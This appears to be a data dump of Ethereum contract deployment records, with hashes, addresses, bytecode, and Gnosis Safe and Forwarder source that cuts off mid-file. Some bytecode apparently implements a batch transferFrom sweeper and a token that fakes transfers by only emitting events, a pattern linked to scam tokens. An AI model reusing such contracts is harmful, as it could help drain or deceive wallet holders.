608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
| |
1 | 19,502,330 |
ba88c0533e86e19a49158fd0aeffbd481e2ec0e5476892eeb703b4d51fdb11a4
|
b3853835c442797764663a4ab50ab96d8bb943cddabfdfdb3341155a97f23f02
|
84ba51a3b082066482385c2e77c15b36b2888888
|
fc27cd13b432805f47c90a16646d402566bd3143
|
783d1762fcf98ff754ef3861178222399750174e
|
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
|
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
| |
1 | 19,502,330 |
ba88c0533e86e19a49158fd0aeffbd481e2ec0e5476892eeb703b4d51fdb11a4
|
b3853835c442797764663a4ab50ab96d8bb943cddabfdfdb3341155a97f23f02
|
84ba51a3b082066482385c2e77c15b36b2888888
|
fc27cd13b432805f47c90a16646d402566bd3143
|
3f68518592672e89d165979d43666fd150aca5ad
|
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
|
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
| |
1 | 19,502,330 |
ba88c0533e86e19a49158fd0aeffbd481e2ec0e5476892eeb703b4d51fdb11a4
|
b3853835c442797764663a4ab50ab96d8bb943cddabfdfdb3341155a97f23f02
|
84ba51a3b082066482385c2e77c15b36b2888888
|
fc27cd13b432805f47c90a16646d402566bd3143
|
afa8e5f153d4ea19d871abba98b66d738e3c38ee
|
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
|
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
| |
1 | 19,502,331 |
240d8b915be69f128a6df8c05d3bd72d70c55cd73e52bf34ca1a9884b37fde23
|
96b0764d93f91c01e66a286a8cbb397632c6229b869027dc8e31f0e23bb97aa1
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
eb04542288fd839d2b51356b1cc29828a0cc0fa4
|
14adc1ced0a96a5e7ceacee750fade2a62e6d16c
|
608060405234801561001057600080fd5b50610160806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c806312514bba14610030575b600080fd5b61004361003e366004610111565b610045565b005b600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250845194955060046020602319909601959095049490940493925050505b8181101561010b57604483016020820281015160208484010282015160206002860285010283015160206003870286010284015193506040516323b872dd60e01b600052826004528160245284604452602060006064600080885af15060006060526040525050506001919091019050610096565b50505050565b60006020828403121561012357600080fd5b503591905056fea264697066735822122067d9eebf92a88f235f65a86b01b62d9f0f5b94d86347f6e4aad042b17bc3fdf764736f6c63430008120033
| |
1 | 19,502,340 |
085b40a5f604485b1ef4da6d1b29ddcba9f857e0b399112d1be56698cc91435a
|
4bb1584707200e7c27b6edded33d572f39869d88a6d2a7a06f0fb912046600d4
|
9f35f44b4ffe1828bdabc2f72e4b98c7508256f6
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
bad6179ae692548ec20e3a5f90ee386f549ace4f
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,348 |
fdc76ab6c66188fda7ae7b4eef74cb9a63e80c1afbed9beb64d971ef1be8e6f6
|
4d98c356b3ef5c70a06fa381157df2d0d0048269cf44c689ac6b17de3f747b21
|
a9a0b8a5e1adca0caccc63a168f053cd3be30808
|
01cd62ed13d0b666e2a10d13879a763dfd1dab99
|
859d33d5983f6edefe952f82f7f806222ad93493
|
3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,354 |
9157deef505779f49b396558c3f91bba75cec6a94dc8f22576d879a014c23208
|
fddb23b4e4780cb20dd2b3bca90bf10b5572147997ad8ee3aa19dc773fdba5ae
|
548138ff7cbffb1605d8a57533276c6633ec6992
|
548138ff7cbffb1605d8a57533276c6633ec6992
|
1b81c4cca9a24d62ef3ed9d85ad3b60bd79d1b27
|
608060405234801562000010575f80fd5b5060405162000af338038062000af383398101604081905262000033916200013d565b5f6200004085826200024e565b5060016200004f84826200024e565b506002805460ff191660ff84161790556003819055335f9081526004602052604090208190555050505062000316565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112620000a3575f80fd5b81516001600160401b0380821115620000c057620000c06200007f565b604051601f8301601f19908116603f01168101908282118183101715620000eb57620000eb6200007f565b8160405283815260209250868385880101111562000107575f80fd5b5f91505b838210156200012a57858201830151818301840152908201906200010b565b5f93810190920192909252949350505050565b5f805f806080858703121562000151575f80fd5b84516001600160401b038082111562000168575f80fd5b620001768883890162000093565b955060208701519150808211156200018c575f80fd5b506200019b8782880162000093565b935050604085015160ff81168114620001b2575f80fd5b6060959095015193969295505050565b600181811c90821680620001d757607f821691505b602082108103620001f657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000249575f81815260208120601f850160051c81016020861015620002245750805b601f850160051c820191505b81811015620002455782815560010162000230565b5050505b505050565b81516001600160401b038111156200026a576200026a6200007f565b62000282816200027b8454620001c2565b84620001fc565b602080601f831160018114620002b8575f8415620002a05750858301515b5f19600386901b1c1916600185901b17855562000245565b5f85815260208120601f198616915b82811015620002e857888601518255948401946001909101908401620002c7565b50858210156200030657878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b6107cf80620003245f395ff3fe608060405234801561000f575f80fd5b506004361061009b575f3560e01c806370a082311161006357806370a082311461012957806395d89b41146101515780639a708be314610159578063a9059cbb1461016e578063dd62ed3e14610181575f80fd5b806306fdde031461009f578063095ea7b3146100bd57806318160ddd146100e057806323b872dd146100f7578063313ce5671461010a575b5f80fd5b6100a76101b9565b6040516100b491906103e3565b60405180910390f35b6100d06100cb366004610449565b610244565b60405190151581526020016100b4565b6100e960035481565b6040519081526020016100b4565b6100d0610105366004610471565b6102aa565b6002546101179060ff1681565b60405160ff90911681526020016100b4565b6100e96101373660046104aa565b6001600160a01b03165f9081526004602052604090205490565b6100a7610302565b61016c610167366004610567565b61030f565b005b6100d061017c366004610449565b61032c565b6100e961018f3660046105c7565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b5f80546101c5906105f8565b80601f01602080910402602001604051908101604052809291908181526020018280546101f1906105f8565b801561023c5780601f106102135761010080835404028352916020019161023c565b820191905f5260205f20905b81548152906001019060200180831161021f57829003601f168201915b505050505081565b5f335f8181526005602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b5f826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516102f091815260200190565b60405180910390a35060019392505050565b600180546101c5906105f8565b5f61031a83826106b7565b50600161032782826106b7565b505050565b335f90815260046020526040812054821180159061034957505f82115b610351575f80fd5b335f908152600460205260408120805484929061036f908490610657565b90915550506001600160a01b0383165f908152600460205260408120805484929061039b908490610644565b909155506103a69050565b6040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610298565b5f6020808352835180828501525f5b8181101561040e578581018301518582016040015282016103f2565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610444575f80fd5b919050565b5f806040838503121561045a575f80fd5b6104638361042e565b946020939093013593505050565b5f805f60608486031215610483575f80fd5b61048c8461042e565b925061049a6020850161042e565b9150604084013590509250925092565b5f602082840312156104ba575f80fd5b6104c38261042e565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126104ed575f80fd5b813567ffffffffffffffff80821115610508576105086104ca565b604051601f8301601f19908116603f01168101908282118183101715610530576105306104ca565b81604052838152866020858801011115610548575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610578575f80fd5b823567ffffffffffffffff8082111561058f575f80fd5b61059b868387016104de565b935060208501359150808211156105b0575f80fd5b506105bd858286016104de565b9150509250929050565b5f80604083850312156105d8575f80fd5b6105e18361042e565b91506105ef6020840161042e565b90509250929050565b600181811c9082168061060c57607f821691505b60208210810361062a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156102a4576102a4610630565b818103818111156102a4576102a4610630565b601f821115610327575f81815260208120601f850160051c810160208610156106905750805b601f850160051c820191505b818110156106af5782815560010161069c565b505050505050565b815167ffffffffffffffff8111156106d1576106d16104ca565b6106e5816106df84546105f8565b8461066a565b602080601f831160018114610718575f84156107015750858301515b5f19600386901b1c1916600185901b1785556106af565b5f85815260208120601f198616915b8281101561074657888601518255948401946001909101908401610727565b508582101561076357878501515f19600388901b60f8161c191681555b5050505050600190811b0190555056fea2646970667358221220ee364c1e5e1b60af63cdd0e73e2b4e7b7ed986b92a0fedf955f8355f8059a3a964736f6c637828302e382e32312d646576656c6f702e323032332e372e31332b636f6d6d69742e36396330333462310059000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000f000000000000000000000000000000000000000000084595161401484a000000000000000000000000000000000000000000000000000000000000000000000d54d0b57468d0b5722055d0854400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000655d08544d0a20000000000000000000000000000000000000000000000000000
|
608060405234801561000f575f80fd5b506004361061009b575f3560e01c806370a082311161006357806370a082311461012957806395d89b41146101515780639a708be314610159578063a9059cbb1461016e578063dd62ed3e14610181575f80fd5b806306fdde031461009f578063095ea7b3146100bd57806318160ddd146100e057806323b872dd146100f7578063313ce5671461010a575b5f80fd5b6100a76101b9565b6040516100b491906103e3565b60405180910390f35b6100d06100cb366004610449565b610244565b60405190151581526020016100b4565b6100e960035481565b6040519081526020016100b4565b6100d0610105366004610471565b6102aa565b6002546101179060ff1681565b60405160ff90911681526020016100b4565b6100e96101373660046104aa565b6001600160a01b03165f9081526004602052604090205490565b6100a7610302565b61016c610167366004610567565b61030f565b005b6100d061017c366004610449565b61032c565b6100e961018f3660046105c7565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b5f80546101c5906105f8565b80601f01602080910402602001604051908101604052809291908181526020018280546101f1906105f8565b801561023c5780601f106102135761010080835404028352916020019161023c565b820191905f5260205f20905b81548152906001019060200180831161021f57829003601f168201915b505050505081565b5f335f8181526005602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b5f826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516102f091815260200190565b60405180910390a35060019392505050565b600180546101c5906105f8565b5f61031a83826106b7565b50600161032782826106b7565b505050565b335f90815260046020526040812054821180159061034957505f82115b610351575f80fd5b335f908152600460205260408120805484929061036f908490610657565b90915550506001600160a01b0383165f908152600460205260408120805484929061039b908490610644565b909155506103a69050565b6040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610298565b5f6020808352835180828501525f5b8181101561040e578581018301518582016040015282016103f2565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610444575f80fd5b919050565b5f806040838503121561045a575f80fd5b6104638361042e565b946020939093013593505050565b5f805f60608486031215610483575f80fd5b61048c8461042e565b925061049a6020850161042e565b9150604084013590509250925092565b5f602082840312156104ba575f80fd5b6104c38261042e565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126104ed575f80fd5b813567ffffffffffffffff80821115610508576105086104ca565b604051601f8301601f19908116603f01168101908282118183101715610530576105306104ca565b81604052838152866020858801011115610548575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610578575f80fd5b823567ffffffffffffffff8082111561058f575f80fd5b61059b868387016104de565b935060208501359150808211156105b0575f80fd5b506105bd858286016104de565b9150509250929050565b5f80604083850312156105d8575f80fd5b6105e18361042e565b91506105ef6020840161042e565b90509250929050565b600181811c9082168061060c57607f821691505b60208210810361062a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156102a4576102a4610630565b818103818111156102a4576102a4610630565b601f821115610327575f81815260208120601f850160051c810160208610156106905750805b601f850160051c820191505b818110156106af5782815560010161069c565b505050505050565b815167ffffffffffffffff8111156106d1576106d16104ca565b6106e5816106df84546105f8565b8461066a565b602080601f831160018114610718575f84156107015750858301515b5f19600386901b1c1916600185901b1785556106af565b5f85815260208120601f198616915b8281101561074657888601518255948401946001909101908401610727565b508582101561076357878501515f19600388901b60f8161c191681555b5050505050600190811b0190555056fea2646970667358221220ee364c1e5e1b60af63cdd0e73e2b4e7b7ed986b92a0fedf955f8355f8059a3a964736f6c637828302e382e32312d646576656c6f702e323032332e372e31332b636f6d6d69742e36396330333462310059
| |
1 | 19,502,354 |
9157deef505779f49b396558c3f91bba75cec6a94dc8f22576d879a014c23208
|
94f8eb935935984d0ea4ede5f560d77e6dc86bbab46650dece73f45279b82f57
|
2a577d92f33ebedc2d002410734c7113a75572ff
|
29ef46035e9fa3d570c598d3266424ca11413b0c
|
dd6fd0551e47541937eefee1a61056cba59c4d27
|
3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"contracts/Forwarder.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit 